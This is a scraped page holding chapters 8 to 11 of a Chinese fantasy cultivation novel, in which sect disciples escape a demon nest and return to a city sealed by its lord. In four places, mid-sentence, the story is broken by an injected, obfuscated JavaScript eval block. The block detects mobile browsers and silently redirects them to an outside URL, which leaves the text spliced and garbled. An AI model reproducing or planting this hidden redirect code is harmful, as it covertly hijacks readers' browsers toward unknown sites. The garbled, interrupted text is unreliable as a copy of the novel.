好机会!苏挽月看在眼里,急在心头,只恨不得替柳星怜出剑,狠狠将柳承教训一顿。然而她都能看出的破绽,柳星怜又怎么会没注意到? 当即提剑劈了过去,这一下,他用足了力道,顷刻将那飞在半空中的人影打落了下来。柳承躺在地上,噗地吐出一口血来,这一剑伤了他的元气,使他再无反抗之力。 8. 云来城 柳星怜嘻嘻笑着朝他靠近,仿佛是一个再普通不过的少年,不带一丝杀机。 柳承却骇得直往后缩,像是见到什么十分可怖的妖魔。好半晌,他才呼出一口气,道:“你……你不能杀我,我是你父亲!” “父亲?”柳星怜脚步不停,口中却道:“原来你还记得么?我以为你早忘了。” 柳承笑了起来,尽量让自己表情柔和一些,“怎么会?你是我亲生的孩儿,我一直都知道的……” 他一边说着,一边借着宽大衣摆的掩护在袖中掏着什么。苏挽月一惊,正要提醒,却来不及了。只见他掏出来的是个金色的铃铛,小小的一个,上面刻着些繁杂的花纹。 见到他手中拿着的那个金色铃铛,沈灵诧异地睁大了眼睛,惊呼道:“翅金铃!” 苏挽月疑惑,“翅金铃?那是何物?” 沈灵道:“据说是翅金蝶妖一族用来控制叛族者的一种手段,只要是本族血脉,就能由至亲之人在身上下翅金咒,再取心头血炼制一只伴生铃。铃一响起,便如万蚁噬心,教人痛不欲生。” 苏挽月闻言微怔,顿时想到了柳星怜脚腕上的那只金色蝴蝶。原来,那并不是什么美丽的印记,而是象征着痛苦的翅金咒。 万蚁噬心,那该是怎样一种感觉,苏挽月不得而知。但她看见,在柳承摇着那铃的时候,柳星怜的脸上并没有露出丝毫痛苦之色,相反,他甚至轻轻弯了弯唇,露出了一个笑。 他赤着脚,踩着金铃叮叮当当的节奏,一言不发地走到了柳承跟前。 “这点痛,你觉得对如今的我来说还有用吗?”他弯下腰,在柳承惊恐的眼神中,扯住了他背后的那对翅膀,那对纯金色的翅膀,一向是他的骄傲,是他天赋的证明。 可是,这样美丽的翅膀如今却被一个杂种扯在手里,像撕扯破布一般,三两下撕了个稀碎。 柳承既痛又怕,他仰着头,发出了一声尖利的吼叫。那声音刺激得一众修为低下的弟子们纷纷吐出一口血。 苏挽月也感觉到胸中血气翻涌,但她身上有混陵道君留下的法印,缓了一会儿,总算撑住了。 柳星怜却没有受到任何影响,在将那对翅膀扯烂以后,他又凑到了柳承的耳边,对着他低低说了一句:“你到底是把我当你的孩子,还是把我当你的灵药?” 柳承的眼神瞬间变了,像是不可置信,又像是惊恐万状,他伸手指着柳星怜,怒道:“你这畜生,原来你全都知道。竟然还忍了这么多年,真是好深的心机,你怕是早就等着这一刻了吧?你这该被千刀万剐的孽种,当初出生的时候,我怎么没掐死你……” 柳承情绪上涌,骂得越来越难听,孰料骂到一半,话音戛然而止,他只觉心口一凉,往下一看,一把赤红的长剑已经捅进了他的心窝。 面前的少年还是那副冷淡模样,仿若全然没听见那些不堪入耳的话,只熟练地将剑刺进了眼前人的胸膛,仿佛捅的不是一个人,而是什么没有生命的木头。 “你怎么舍得掐死我,毕竟……” 毕竟没了我,你还怎么进阶地妖境,柳星怜勾着唇嘲讽地笑了笑。 柳承看着他的眼神还尤带恨意,手却不自主地垂落了下来。 这位曾经不可一世的玄妖,最终还是死在了自己的亲生血脉手中。 眼见着柳承彻底断了气,柳星怜站在他的尸首边呆立了半晌。 随后左手一动,一团红光裹住了地上那具冰冷的身躯,不消片刻,便爆开了一团血雾,竟是连全尸也没给他留下。 这对父子,不知究竟有多大的仇恨,才会相看两厌到此等地步。 此刻,其余小妖尽皆死的死,逃的逃,场中竟然只剩下零星几个神机宫弟子。见到他们忌惮不已的大妖轻易便被解决了,所有人都被镇住了,一时之间,都有些回不过神来。 最后还是苏挽月低低咳了一声,喊道:“还有能动的师兄师姐吗?快过来帮帮忙啊。” 这话犹如一颗石子投入了大海,激起一片波浪,众人如梦初醒,赶紧救助起身旁受伤的同门,一个长脸弟子走过来帮她扶起了左秦鹤,苏挽月微一颔首,道:“多谢这位师兄。” 长脸弟子瞬间脸红了,结结巴巴回:“不……不必谢。” 不过一会儿,还活着的弟子尽皆被安排妥当,沈灵将自己的哥哥交给了两个同门,凑到苏挽月面前,语气沉沉地说:“苏师妹,这次麻烦大了,出山门时十五个弟子,如今还活着的只余六人了,而且除了哥哥,其余两位筑基期弟子都没了。” 苏挽月心中也是咯噔一声,道:“这得赶紧告知宗门吧。”说罢,就要从储物袋中掏出传音符。 沈灵却抬手阻止了她,“我试过了,没用。这城中好像有什么东西,隔绝了跟外界的传音。” 苏挽月手中的动作一顿,深深叹了口气,颓然道:“这可怎么办啊?” 这次云来城之行,她还以为自己是来混经验的,谁知竟然这样倒霉,直接遇上一只玄妖。 沈灵倒还勉强立住了,毕竟如今这所有弟子中,唯有她修为最高了。她拍了拍自己的脑门,语气无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392733|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈,“没办法,只能走一步看一步了,得先出这妖巢,城主府不能回了,暂时找个人少的地方安置下来,一切待几位师兄们养好伤再说。” 苏挽月也道:“只好如此了。”随后又像是想起了什么,犹豫了一会儿,还是开口:“那……灵师姐,笼中关着的那些人,可都还是凡人,虽然可能被这些妖养得有些久了,不通人性。但好歹也是这么多条性命,我们不能这么丢下他们吧?” 沈灵显然也想到了此处,她思忖片刻,道了一句:“这样吧,先暂且带上他们,等事情了了,再行安置。” 苏挽月道:“也好。” 于是众人便去那黑门中的暗室,放出了笼中锁着的人,略略一数,竟有二十好几。沈灵朝他们道:“外面那些囚禁你们的妖物已死,如今你们重获自由,便先跟我们走罢。” 奈何这些人却眼也不抬,只缩在笼中,七嘴八舌道:“不走不走!这是我家,为何要走?” “明日还有比斗呢,如何能走?” 甚至还有激愤点的,粗着嗓子,恶声恶气地说:“你们这群人杀了大人们,我要把你们脑袋拧下来!拧下来!” 说完竟然直接朝弟子们扑过来,沈灵无奈,又将他们锁了起来。原来这些人很小便被妖物们养着,已是认贼作父,再加上这些年都生活在厮杀中,性格乖戾,攻击性极强,不能以常人度之。 正苦恼间,忽听一人冷声道:“别白费力气了,这些人不会跟你们走的。” 苏挽月抬眸,见到了柳星怜半掩在烛火下的脸,昏黄的火光勾勒下,那张侧脸显得格外精致好看。 然而容貌再好看,也磨灭不了他方才亲手弑父的事实,他这一开口,众人便都沉默了下来。 沈灵见此,只好道:“那行吧,我看这妖巢也有不少吃的喝的,顶个十天半月不成问题,便先让他们待在此地。一时半会,也没有妖物敢回来,我再在洞口设下一道封印,待得左师兄他们醒了,再来安置。” 诸位弟子纷纷应是,最终一行人还是没能带走这些被妖怪囚禁了多年的人,只扶了同门师兄弟们,跌跌撞撞出了妖巢。 临走之时,苏挽月特意到柳星怜身旁,问他:“你有何去处吗?” 她虽是这样问,却也知道柳星怜如今肯定没地方可去了。 果然,柳星怜沉默地摇了摇头。 她便抬头望向他,“那不如跟我走吧?” 柳星怜低下头,目光直直落在她的脸上,打量了她半晌,最后不知想到了什么,唇角轻轻勾了起来,“好啊。” 9. 云来城 几人带着伤者艰难地在山脚下走着,由于少了左秦鹤,用不了高阶飞行法器,其他师兄师姐又伤的伤,晕的晕,根本无法动用灵力。因此只能勉强撑着口气,靠着双腿往前走, 和苏挽月一起扶着左秦鹤的还是那个长脸师兄,他看出苏挽月体力不支,特意将左秦鹤往他身边带了带,承担了他大半的重量。 苏挽月顿觉轻松不少,她朝着长脸师兄笑了笑,感激道:“多谢这位师兄。” 长脸师兄脸红红的,低着头说:“苏师妹别客气。” 苏挽月见他如此拘谨,有意让他放松下来,便轻轻启唇,问道:“还没请教师兄大名。” 长脸师兄果然微微抬起头,声音也大了一些,回道:“我姓孟,单名一个宁字。” 苏挽月顺着他的话唤了称呼:“孟师兄。” 两人虽都是神机宫弟子,却不甚熟悉,加之孟宁实在内敛羞涩,聊了几句便没了话说,接下来一路都是沉默。 眼见着夜色将近,众人加快了脚步朝外走去,期望能在附近找到一个可供休憩的地方。 苏挽月一回头,却见柳星怜落在了最后,他的动作很缓慢,甚至比扶着伤者的其他人还要慢一些。 她又仔细瞧了两眼,发现他每走一步,脚下就落出一朵嫣红的血珠,那颜色掩在越来越近的暮色里,并不是很显眼。 她蹙了蹙眉,这才恍然想起他还赤着脚,这山脚下到处都是石子,他跟着走了这么久,又怎么可能不划伤。 更何况,他方才还杀了那么多的人,或许身上还有伤也不一定。然而只看他的脸色,却完全没有丝毫异样,这副模样成功骗到了众人,以为他根本没什么事。 这人真是…… 苏挽月叹了口气,请了另一位师兄帮她扶着左秦鹤,又打量了一下孟宁,发现他的脚跟柳星怜差不多大,便向他借了双鞋。 出门在外,又有储物袋这样方便的东西,难免会带一些衣物鞋袜。孟宁只愣了一瞬,便从储物袋中翻出了一双黑色的短靴。 苏挽月谢过他,这才朝着柳星怜的方向走去。 柳星怜落在人群的最后,深一脚浅一脚地走着,虽然走得慢了些,步子却迈得极为利落。 他当然感觉得到自己的脚被锋利的石子划伤了,然而这点痛对他来说实在不算什么。严重的是他腰侧的那道伤,那是被柳承的银枪划的,每走一步,那痛就剧烈一分。 不过那又如何,反正也不会死,只要不死,就没什么大不了。 他正垂眸走着,眼前却倏地出现一个粉嫩的裙摆,那样鲜艳的颜色,他只见一个人穿过。 他抬头,猝不及防撞进了一双带笑的眸子。 “你的脚受伤了啊,怎么都不说?”她像是有些无奈,将手中拿着的靴子放在他的脚下,“快穿上吧,你还能走得动吗?要不要我扶着你?” 他只怔怔望着她,做不出任何回应。 苏挽月见他不应,故意道:“你该不会要让我背你吧?” 柳星怜侧了侧脸,移开了目光,他冷淡地拒绝:“不必了,我自己能走。” 说完,便迈过了那双鞋,继续缓缓地往前走。 苏挽月在他身后看了许久,看着他脚下断断续续连成了两条线的血痕,发愁地捂住了额头,这家伙,喜欢自虐不成? 她看着都觉得脚下隐隐作痛。 她俯身提起了那双鞋,又追了上去。这一回她没再询问,而是趁他没反应过来,扯着他的腿就将鞋给他套上了。 柳星怜整个人像是惊呆了,竟然愣在了原地,由着她如法炮制地将两只鞋都穿上了。 终于见不到那抹莹白,苏挽月满意地点点头,眼睛亮闪闪的,像坠入了星光,绚丽而夺目。 “喏,已经穿好了。”她尽量不去看他脸上的神色,只道:“走吧走吧,他们都要走远了。” 柳星怜神色复杂,终于没再拒绝她的好意,但握着红阎的手却几不可察地紧了紧。 * 苏挽月等人从翅金蝶妖穴中死里逃生,遍体鳞伤地走在山道上时,宋荇正在府中喝茶。 窗外是一大片开的正盛的白玉兰,那浅淡的香味直直灌入他的鼻间,让他忍不住闭上了眼。就是这股味道,他只要一闻到就觉得心安。闻着闻着,那双苍老的眼猛然睁开了。 宋荇急急推开门,朝着那片白玉兰走去,这株花树养得极好,枝干挺拔,绿叶如玉,一副生机勃勃的模样。树上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392734|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层叠叠的花蕊静悄悄挂在枝头,宛如上好的凝脂玉一般洁白无瑕,看着鲜嫩又优雅,然而他却眉头紧蹙。 看了不知多久,一只苍老惨白的手倏地伸了出去。宋荇小心翼翼地摘下一朵花,凑到了鼻间。 “啪嗒”一声,是花枝落在地上的声音。宋荇脸色变得惨白一片,他绕着树走了两圈,来来回回像是在找什么。 “没有……没有……怎么会没有?”宋荇扯着头发,一改之前端庄持重的模样,像个疯子一样大把大把地扯着那些花。 “不是这朵,也不是这朵,你去哪里了?” 浅淡的白花落了一地,却没有一朵是他想要的。 “城……城主。”一位身着仆人服饰的小厮走进来,立在三步之外。他抬眼一瞧,见到宋荇这般模样,差点忍不住叫出来。小厮咬紧了牙根,好不容易压下心中的恐惧,声音却带了些颤抖:“前些日子住进来的仙人似乎不见了,已经许久没见到他们的人影了。” 宋荇睨了他一眼,神色渐渐平静下来,他垂眸看地上的那些花:“是吗?” “是,城主。要不要通知宗门?若仙人们在我们这儿出事,宗门怕是会追责。” 小厮头垂得低低的,神态一片恭敬。 宋荇微微一笑,目光终于落在他的脸上:“是吗?” 他轻声问着,依然是同样的两个字,却让小厮心底一寒。他眼中灵光一闪,慌忙摆手道:“不是不是,小人……小人这些天从没见到什么仙人,求城主饶命。” 然而,却已经晚了。宋荇猛地上前几步,伸出手轻轻压在了他的头顶,只听咔嚓一声,一颗血淋淋的头颅瞬间飞了出去,那小厮竟就这么被他硬生生拧掉了脑袋。 宋荇嫌恶的看了一眼掌心沾上的血,撩起衣摆擦了又擦,直到彻底看不见一点痕迹,这才转身蹲下,怜惜地将地上的花一朵朵捡起来。那神情温和极了,一点也看不出刚刚的疯狂之态。 等花都捡光了,他才像想起什么,又回房找了把铲子,将那小厮的头颅连着尸身,一起埋进了花树下。 “我会找到你,不管你在哪儿,我都会找到的,你等着我……”宋荇抚摸着花树,柔声道:“我会永远陪着你,永远……” 10. 云来城 云来城向东行十几里有一座大山,名为五云山,五云山不远处矗立着一个小山村,唤作清溪村。 这村子不过十几口人,皆是以种地为生,有些脑筋活泛的,还会在农闲时捡些山脚下的石头做成饰品去城中兜售,这样也能多一些进项,贴补家用。 刘大婶家就是专门做这种活的,她的老伴早年是个种地的好手,可惜某次去城中买种子,不慎落入河沟,摔断了双腿。 从此以后,种地是干不了了,两位老人膝下也没个子女,为了活下去,也学着其他人用石头打磨些好看的耳坠、手链,去城中摆摊,好歹有口饭吃。 此时,刘大叔就坐在家中捣鼓着手中的活计,那一颗颗或粉或红的石头在老农那双粗糙、黝黑的手的打磨之下,变作了一个个精致漂亮的饰品。 刘大叔手艺极好,虽然做出来的都是些桃花、红果之类的样式,却件件栩栩如生,很是夺人眼球。 他拿着颗血红的石子,打磨得专心,一位执剑少年就斜斜倚在门边,低头认真看着他的动作。 刘大叔不经意抬头,就见到这位长得像神仙一样的公子眼巴巴地看着他,顿时觉得有些好笑,开口问:“柳公子,你对这个感兴趣?要不我教教你?” 柳星怜闻言愣了愣,不知想到了什么,倏地一笑,“好啊。” 刘大叔本是随口一问,怎知他在答完话以后,还真蹲下身,要跟着他学这活计。 刘大叔愣了一下,反应过来以后笑着摇了摇头,细细跟他说起打磨的技巧。 柳星怜听得认真,时不时点一点头,看起来倒没有一丝敷衍。 苏挽月站在院外看得好笑,笑过后,她抬步绕到后方的小路上一瞧,果然见到左秦鹤挑着水远远走过来。 他们几人来到这清溪村已经有五日了,一行六人分住在两户人家里,左秦鹤、苏挽月与柳星怜都住在刘大婶家。 早在前几日,左秦鹤就已经能下床了,因为刘大婶刘大叔两位老人膝下无子,他便总抢着为他们干些重活,一来二去,两人对他也颇为亲近。 苏挽月上前帮忙,等将水倒入缸中,她这才拉着左秦鹤到一边,放软了语气哀求:“左师兄,求你了,若不带上他,他便没地方可去了。” 这番云来城之行,由于出了柳承这只玄妖,神机宫的诸位弟子折损了大半,若不是柳星怜及时出手斩杀了柳承,恐怕还得落个全军覆没的下场。 然而即便如此,左秦鹤几人对柳星怜的态度依然很微妙。 原因无他,毕竟柳星怜是一位玄妖的血脉,还当着众人的面亲手弑父,如此心狠手辣,怎能不教人忌惮。反正左秦鹤是接受不了的。 “可他是妖,不杀他已是念在他救了你,又多年来深受妖物迫害的缘故,怎么能还带回宫中?”左秦鹤满脸写着不赞同。 苏挽月拧着眉,下意识反驳,“可他不是妖啊。” “他是柳承的血脉,不是妖还能是什么。”左秦鹤哂了一声,毫不在意地道:“难不成还能是人吗?” 说着,他从身上掏出了自己的身份令牌,正打算指着上面的黑烟给苏挽月看,却突然愣住了。 只见那块玉牌上干干净净,并没有捕捉到妖气的迹象。法器捕捉不到妖气,要么是用了秘法,要么他便不是妖。 可柳星怜根本没有用秘法的必要,他早已在比斗场中便亲口承认自己是翅金蝶妖的血脉了。 愣了半晌,左秦鹤好像是想到了什么,露出一脸被雷劈了的神情。 苏挽月见他这样,回道:“之前听一个女妖说,他是半妖之体。” 左秦鹤听到她的话,瞬间将目光转了过来,不可置信地道:“半妖之体?!这不可能!” 苏挽月颇为不解,“有什么不可能?” 她是真的不明白,原主之前整日想着吃喝玩乐,对这种事根本就不上心。她前世也未曾听人说起过。 “师妹,你有所不知。”左秦鹤回过神来,叹息了一声,道:“人和妖相爱倒是不少见,可却没见过他们生下后代,你猜这是为何?” 苏挽月一脸茫然地看着他,眼神中明明白白写着,我不知道。 左秦鹤便清了清嗓子,开口解释:“这妖和人本来就是两个种族,生育后裔本就极难,即使侥幸有了孩子,若母体是人族,则承受不住孩子身上的妖力,必然会渐渐虚弱,直至死亡。若母体为妖族,孩子也无法承受母亲身上的力量,所以无论如何都是生不下来的。” “可是……柳星怜却平安出生了。”苏挽月咽了咽唾沫,感觉嗓子都有些哑。 她这话一出,左秦鹤也沉默起来,气氛陡然变得有些怪异。 最后他像是叹了口气,说了一句,“罢了罢了,不管此中有何玄机,既然他不是妖,你就看着办吧。” 他这话一出,便是同意苏挽月带柳星怜回神机宫了。苏挽月立刻高兴起来,她笑得眉眼弯弯,朝左秦鹤作了一揖,道:“多谢左师兄。” 说完就迈着欢快的步伐跑出去了,徒留左秦鹤看着她的背影无奈地摇了摇头。 苏挽月一路提着裙摆,从院中进到了正房,打眼就瞧见柳星怜坐在一个矮凳上,手里拿着什么东西在打磨着。 她细细一看,见到一对熟悉的樱桃坠子,那坠子在他手里已经完全变了一副样子,樱桃的形状渐渐有些不明晰了。 苏挽月愣了愣,也蹲下身凑到他跟前,问:“你这是在做什么?” 柳星怜头也没抬,目光专注在手中的坠子上,抽空回了她一句,“做个小玩意儿。” 苏挽月“哦”了一声,没再吭声,只在一旁认真看着。柳星怜打磨石头的动作很生疏,但却极有耐心,一点点慢慢磨着,将它原本的棱角都磨平,露出圆润的光泽来。 他长得俊俏,即使是做这样的活儿,也显出几分风雅,她瞧着瞧着,不经意就入了神。 熟料这时,却见柳星怜抬眸看向了她,“这东西,你之前不是害怕吗?” 他故意将那颗透着股淡粉色的珠子举在她眼前,让她看了个一清二楚。 苏挽月有些尴尬地挠了挠头,道:“这个嘛,我之前也并非是害怕,就是觉得有些膈应,不过后来想想,这只是一块石头而已。” 其实是因为这段时间,她每日都能见到刘大叔打磨这种石子,早已见怪不怪,再加上听说这周围许多人都靠着它活命,就也不觉得多反感了。 听到这番话,柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392735|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星怜脸上的神情变得有些古怪,他抚着已经打磨得很光滑的两颗珠子,淡淡道:“这可不是普通的石头。” 像是想到了什么,他扯着唇笑了笑,“这里面的血可是很厉害的。” “很厉害?”苏挽月有些疑惑,她实在看不出这东西哪里不凡。 “它的主人孕育出了半妖,难道不厉害吗?”柳星怜眼眸流转,目光静静落在那两颗珠子上,“恐怕全天下再也找不出来第二个了。” 这话一出,苏挽月瞬间明白过来,这珠子里面蕴藏的竟是柳星怜母亲的血,也不知是不是机缘巧合,竟被人做成耳坠,辗转回到了他的手中。 苏挽月以为他在伤心,不知该如何安慰他,只能干巴巴道:“也许是你娘在天之灵放不下你,让你留着做个念想呢。” “放不下我?”柳星怜重复了一遍她的话,脸上又缓缓扯出一个笑,意味不明道:“她是该放不下我的。” 苏挽月看他这幅模样,顿时察觉到自己说错了话,赶紧噤声,生怕刺激到这煞神,让他在这里大开杀戒。 直到一众弟子都养好伤,一行人便向老人告辞,打算离开清溪村。 左秦鹤给他们留下了一些银子,又买了好些干粮馍馍,感谢他们这段时间的照顾,两位老人舍不得他,拉着他说了不少话。 但天下无不散之筵席,众人没耽搁多久,就朝着来时的方向而去。 他们并不打算直接进城,而是先回到五云山中的妖巢,去看了看那群被关着的人,这群人看起来没什么大碍,只面容略微有些憔悴。 左秦鹤将从村子里买来的吃食分给他们,也是叹息一声,道:“实在有点难办,他们是凡人,不好带回门中,但若放出去,又恐他们伤人。” 他左思右想,还是没有稳妥的办法。 柳星怜不理解他的犹豫,他难得开口,却是道:“这有何难,杀了便是。” 只是这话一出口,众人皆是一阵沉默,看他的眼神也越发异样。 在妖巢,柳星怜虽救了他们,但他的手段太过残忍,跟神机宫这种名门正派出来的弟子实在不是一路人,因此这段时日,除了苏挽月之外,其他人并不会主动跟他搭话,对他始终隔了一层。 柳星怜本就敏锐,怎么会察觉不到,他只是不在意罢了。 苏挽月不知该如何缓和这种氛围,只好打岔道:“云来城中不是还有一些世家吗?听闻他们也会招些会武力的凡人,这些人不正好?送过去好好教导一番,就能派上用场,于他们来说,也是好的归处。” 左秦鹤一拍脑袋,道:“这主意不错。” 于是就将这些人带着,一行几十人往云来城中走去。 正值夏日,太阳明晃晃地挂在天边,照得人眼眸发疼。柳星怜前十几年都待在暗无天日的妖巢中,对这过于灼热的阳光极为不喜,他正蹙眉暗自忍耐,一抬头却见一个单薄的人影走在他的前面,不经意间为他挡住了刺目的光照,长长的影子投下来,正好将他笼在其中。 柳星怜一愣,见到苏挽月被风撩起的乌发,那淡粉的发带飘在空气中,像是要随着风飘到很远很远的地方去。 他垂下了眸,不知为何眼睫轻轻颤了一下。 11. 云来城 众人在烈日下走了许久,因是带着些凡人,速度总归慢了些,直到太阳西斜,才堪堪迈进云来城的大门。 然而这次来,却并未见到上次那样繁华热闹的场景,黑夜还未至,城中便一片寂静,走街串巷的小贩不见了,茶楼铺子也尽皆关了门。 左秦鹤察觉到不对,吩咐道:“先找人问问怎么回事。” 众人应了一声,沈灵和沈毓朝另一个方向走去了,苏挽月便拉了柳星怜沿着街道的酒馆客栈一间间敲过去,尽都没有人应,直到敲到最后一间,苏挽月已经不抱什么希望了,却听吱啦一声。 门开了一条缝,一个中年大叔躲在门后偷偷瞧他们,小声地问:“你们有什么事吗?” 苏挽月朝他露出一个微笑,礼貌地开口:“请问您这里可以住店吗?” 中年大叔打量了她几眼,回道:“我们店这段日子都不做生意。”说完便要关门。 苏挽月连忙拦住了,道:“别急着关门啊,我们是修道之人,路过此地,实在没地方住了,这整条街,唯有你一人开门。” 她本以为这番话打动不了这人,正要再加一句价格好商量,却见中年大叔听到她的话,眼睛都亮了,他神情隐隐带着激动,问道:“你们是修道之人?当真?” 苏挽月赶紧回:“自然是真的。”顺手想拿点什么出来证明自己,却又想起她没有佩剑,于是便扯住柳星怜执剑的胳膊给他看,“你瞧这剑,绝非凡品。” 这话倒是不假,柳星怜的红阎也不知是哪儿来的,邪性是邪性,但打眼一瞧就知道不是普通刀剑可比的。那中年大叔一看,果真信了大半。 柳星怜今日倒是乖觉,竟然任由她动作,也没发脾气。苏挽月毫无所觉,掐指使了个传音术,将诸位同门都叫了过来。 一刻种之后,左秦鹤将妖巢中救出来的那群人安置到了客栈的大通间里,为了让他们安分些,还使了一出定身咒,教他们乖乖在那躺着。 这短短半天,可让他尝尽了带小孩的苦,这群人年龄虽然都在十七八岁,但性格却真如稚童一般,让人打不得,骂不得,却又头痛万分。 这下总算能放松一二,他赶紧找了张桌子坐下,呼出一口气。 旁边的中年大叔睨了睨这壮汉,带着些紧张地道:“诸位仙长,我是这客栈的掌柜,大家叫我朱掌柜便可。” 众人纷纷朝他抱拳,依言唤道:“朱掌柜。” 朱掌柜摆了摆手,有些局促的模样。左秦鹤见此,只好直接进入正题,“朱掌柜,敢问这城中是发生了何事?怎的一个人都见不到?” 那朱掌柜听他这样一问,不由叹了口气,说道:“这位仙长,您有所不知。原先是好好的,但几日前,城主突然说城中出现了会吃人的妖物,还吸了好几个人的血,就将城给封了。” 说到此处,他的眼神变得惊恐起来,像是回忆起了什么极为可怕的事,“那天,我们都去看了,城主将那几具尸首挂了出来,那东西可怕极了!血都被吸干了!根本不是人能干出来的,是妖物啊!我只看了一眼就吓得跑了回来,这几日都没敢出门,城主说只要找到那妖物就没事了。” 众人一听是这样,不由面面相觑,这城中的妖物早就被他们一锅端了,按理来说不应该还有妖物现身才对。 左秦鹤思索了片刻,又问:“城主这几日都在找这妖物?有说是什么妖吗?” 朱掌柜点头又摇头,脸色煞白煞白的,回道:“没有具体说是什么妖,只说如果家里有种了花的,要上报。” 花,苏挽月一下抓住了关键,她的手不由握紧了些,感觉到脖颈处痒痒,好像有什么东西要钻出来。 柳星怜就站在她旁边,第一时间发现了不对,他皱起了眉,问道:“你怎么了?” 苏挽月抬眸看了他一眼,好似想要说什么,犹豫了一番,最终还是什么话也没说。 只敛眉低声道:“没事。” 朱掌柜这时却像是再也撑不住了,在众人面前跪了下来,哀声道:“求诸位仙长救救我们吧,我们不想被妖怪吃掉啊。” 左秦鹤见他这样,忙上前扶起他,“你放心,捉妖降魔本就是我们应该做的,如果这城中当真有妖怪,我们肯定把它捉出来,不会让它伤你们分毫。” 朱掌柜在他的搀扶下起身,神色已经好了很多,脸色也扯出一个笑来,“多谢仙长,诸位仙长饿了吧?我让我家那口子给大家做些吃的,仙长们稍等片刻。” 话毕,便朝着楼上喊了起来,“娘子,快做些拿手好菜来招待仙长。” 楼上有个女子的声音远远传来,“好嘞。” 朱掌柜听到她应了,又待了一会儿,便说要去帮忙。原来自从封城以后,客栈原先的厨师、小二尽皆回家去了,这里除了朱掌柜一家,就没了别人,他是个疼爱娘子的,怕她一人忙不过来,这才打算去帮帮忙。 左秦鹤自然无有不应。 等到朱掌柜的身影消失不见,他才说:“这事情有古怪。” 沈灵道:“这宋城主也不知葫芦里卖的什么药?左师兄,你与他不是旧相识吗?能否说说他是个怎样的人?” 左秦鹤叹了口气,似乎陷入了回忆中,良久才慢慢开口:“我跟宋兄相识于四十多年前,那时候他才二十出头,还不是什么云来城的城主。他这人倒有趣,明明是个凡人,却很热衷于斩妖除魔。” 从左秦鹤的讲述中,众人才知道,原来这宋荇还真是个侠义之士,虽没有修行天赋,却是个练武奇才,只拿一柄剑,便能游历四方,到处降妖除魔,救人于水火。 左秦鹤和他就是在游历途中相识的,两人遇到一只鼠妖,那只妖物仗着有点修为,四处作恶,将人养在它的巢穴中当人牲,左秦鹤一路追到他的老巢,却遇上了宋荇,当时他已经独自一人斩杀了那只鼠妖,救下了一群无辜百姓。 自此以后,两人都对彼此颇为赞许,互相引为知己。又相约着一同收服了几只小妖,左秦鹤就收到了门中传信,需得赶回山门。临走之时还约好下次一起出门游历,却不曾想这一别竟已有四十年之久。 左秦鹤最后道了一句,“依宋兄的为人,此事应当与他无关,他不会勾结妖物来害人的。” 沈毓听得出了神,直到这时候才陡然问道:“左师兄,如果不是他,为何苏师妹会从他的城主府中落入那玄妖的妖巢?” 这问题,左秦鹤也回答不了,只好默然无言。 室内一下子安静极了,半晌都没人吭声。直到一阵食物的香气传来,才打破了这份沉默。 朱掌柜脸上带着笑,乐呵呵地为他们上了满满一桌子菜,菜色可谓十分丰富,鸡鸭鱼肉都有,而且道道色香味俱全,不消吃入嘴里,只闻上一闻,便知味道定然不错。 左秦鹤向他点头道谢:“朱掌柜用心了。” 朱掌柜连忙嗐一声,摆了摆手,“不用不用,一桌子菜又值当什么?还望仙长们别嫌弃才好,仙长们且慢用,有事只管唤一声就行。” 话毕也不杵在这里,很有眼色地退不下去。 众人走了大半日,着实是有些饿了,此刻对着这一桌子美味佳肴,哪里还能端得住?都没有再客气。 吃过一阵,气氛渐渐又好了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392736|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家谈天说地,天南地北地聊着。 其实说是修仙之人,实际上却并不能真的不吃东西,唯有修为高到一定程度,比如元婴、化神,那才能做到完全辟谷。 对于低阶弟子而言,也不是不能吃辟谷丹,但是可以是可以,如果不是必要,也没人愿意吃,那东西一股药味儿,哪里比得上美味佳肴? 苏挽月就不大喜欢辟谷丹,前世在浮光殿,总会自己开个小炤,做点吃食,因此厨艺还算过得去。 